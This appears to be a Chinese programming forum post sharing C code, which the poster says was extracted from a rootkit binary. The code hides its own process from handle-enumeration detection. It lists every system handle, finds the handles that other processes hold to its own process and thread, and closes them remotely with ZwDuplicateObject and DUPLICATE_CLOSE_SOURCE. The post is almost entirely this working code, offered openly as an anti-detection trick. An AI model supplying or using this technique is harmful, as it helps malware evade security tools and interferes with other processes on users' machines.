HanDs
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[Visual Studio文章] 抹掉所有进程中自己的句柄 



之前听过一个检测进程的想法,就是暴力枚举所有进程中的handle,查找其中类型为PROCESS的.
此法也被炉子牛用于他的LzOpenProcess().
下面我就写了一断代码来对抗这个方法,纯属小伎俩,牛牛们飘过~
严格说,此段代码不算原创,是从某rootkit的bin中扒出来的,因此基本保留其原貌,经我修改测试,主要函数如下:
void CloseAllmyHandles()
{
 
  HANDLE hCurProcess,hSouceProcessHandle,hTargetHandle;
  HANDLE hMyProcess=INVALID_HANDLE_VALUE,hMyThread=INVALID_HANDLE_VALUE;
  DWORD pid,nBufferLen=0x40000,nRetnLen=0;
  DWORD HandleCnt,NumberOfHandles;
  DWORD pMyProcessObject = 0,pMyThreadObject = 0,pObject;
  CLIENT_ID myCid,tmpCid;
  PVOID pBuffer = NULL;
  NTSTATUS status;
  OBJECT_ATTRIBUTES  ObjectAttributes;
  myCid.UniqueProcess =(HANDLE)my_GetProcessId();
  myCid.UniqueThread=(HANDLE)my_GetThreadId();
  InitializeObjectAttributes( &ObjectAttributes, NULL, 0, NULL, NULL );
  ZwOpenProcess(&hMyProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &myCid);
  ZwOpenThread(&hMyThread, PROCESS_ALL_ACCESS, &ObjectAttributes, &myCid);
  printf("hMyProcess:0x%08x\n",hMyProcess);
  printf("hMyThread :0x%08x\n",hMyThread);
  hCurProcess = GetCurrentProcess();
  status=ZwAllocateVirtualMemory(hCurProcess, &pBuffer, 0, &nBufferLen, MEM_COMMIT,PAGE_READWRITE);
  if (!NT_SUCCESS(status))
  {
    printf("Alloc Memory failed.\n");
    return;
  }
  printf("Alloced Buffer:0x%08X\n",pBuffer);
  ZwQuerySystemInformation(SystemHandleInformation, pBuffer, nBufferLen, &nRetnLen);// 16=SystemHandleInformation
  printf("Searching handles...\n");
  HandleCnt=*(DWORD *)pBuffer;
  printf("Handle Count:%d\n",HandleCnt);
  if (HandleCnt>1)
  {
    NumberOfHandles=*(DWORD*)pBuffer;
    pHandleInfo=(PSYSTEM_HANDLE_TABLE_ENTRY_INFO)((char*)pBuffer+sizeof(DWORD));
    do
    {                                               
      //printf("HandleValue:0x%08X\n",pHandleInfo->HandleValue);
      if ( pHandleInfo->HandleValue==(USHORT)hMyThread )
    {
        if (pHandleInfo->UniqueProcessId == (USHORT)myCid.UniqueProcess )
        {
          pMyThreadObject = *(DWORD*)&(pHandleInfo->Object);
          printf("Thread  finded\n");
        }
      }
      if (pHandleInfo->HandleValue==(USHORT)hMyProcess )
      {
        if (pHandleInfo->UniqueProcessId == (USHORT)myCid.UniqueProcess)
        {
          pMyProcessObject =*(DWORD*)&(pHandleInfo->Object);
          printf("Process finded\n");
        }
      }
      ++pHandleInfo;
      --NumberOfHandles;
    
    }
    while ( NumberOfHandles );
  }
  ZwClose(hMyThread);
  ZwClose(hMyProcess);
  printf("Found my object ok.\nBegin Search and Close...\n");
  NumberOfHandles=HandleCnt;
  if (HandleCnt>=1 )
  {
  pHandleInfo=(PSYSTEM_HANDLE_TABLE_ENTRY_INFO)((char*)pBuffer+sizeof(DWORD));
    do
    {
      pObject = *(DWORD*)&(pHandleInfo->Object);
    
      if ( pMyProcessObject == pObject || pMyThreadObject == pObject )
      {
        printf("Found Handle=0x%08X OwnerPID=%4d\n",pHandleInfo->HandleValue,pHandleInfo->UniqueProcessId);
      tmpCid.UniqueProcess= (HANDLE)pHandleInfo->UniqueProcessId;
      tmpCid.UniqueThread=0;
      InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL );
      status=ZwOpenProcess(&hSouceProcessHandle, PROCESS_DUP_HANDLE, &ObjectAttributes, &tmpCid);
        //PrintZwError("ZwOpenProcess",status);
        if (!status)
        {
    status=ZwDuplicateObject(
            hSouceProcessHandle,
            (void*)pHandleInfo->HandleValue,
            hCurProcess,
            &hTargetHandle,
            0,
            0,
                DUPLICATE_CLOSE_SOURCE);

  if ( !status)
          {
            ZwClose(hTargetHandle);
            printf("Handle closed!\n");
          }
      //PrintZwError("ZwDuplicateObject",status);
          ZwClose(hSouceProcessHandle);
        }
      }
      ++pHandleInfo;
      --NumberOfHandles;
    }
    while ( NumberOfHandles );
  }
  ZwFreeVirtualMemory(hCurProcess, &pBuffer, &nBufferLen, MEM_RELEASE);
}


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抹掉 所有 进程 自己
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发帖时间:2016-7-9   |   查看数:0   |   回复数:0
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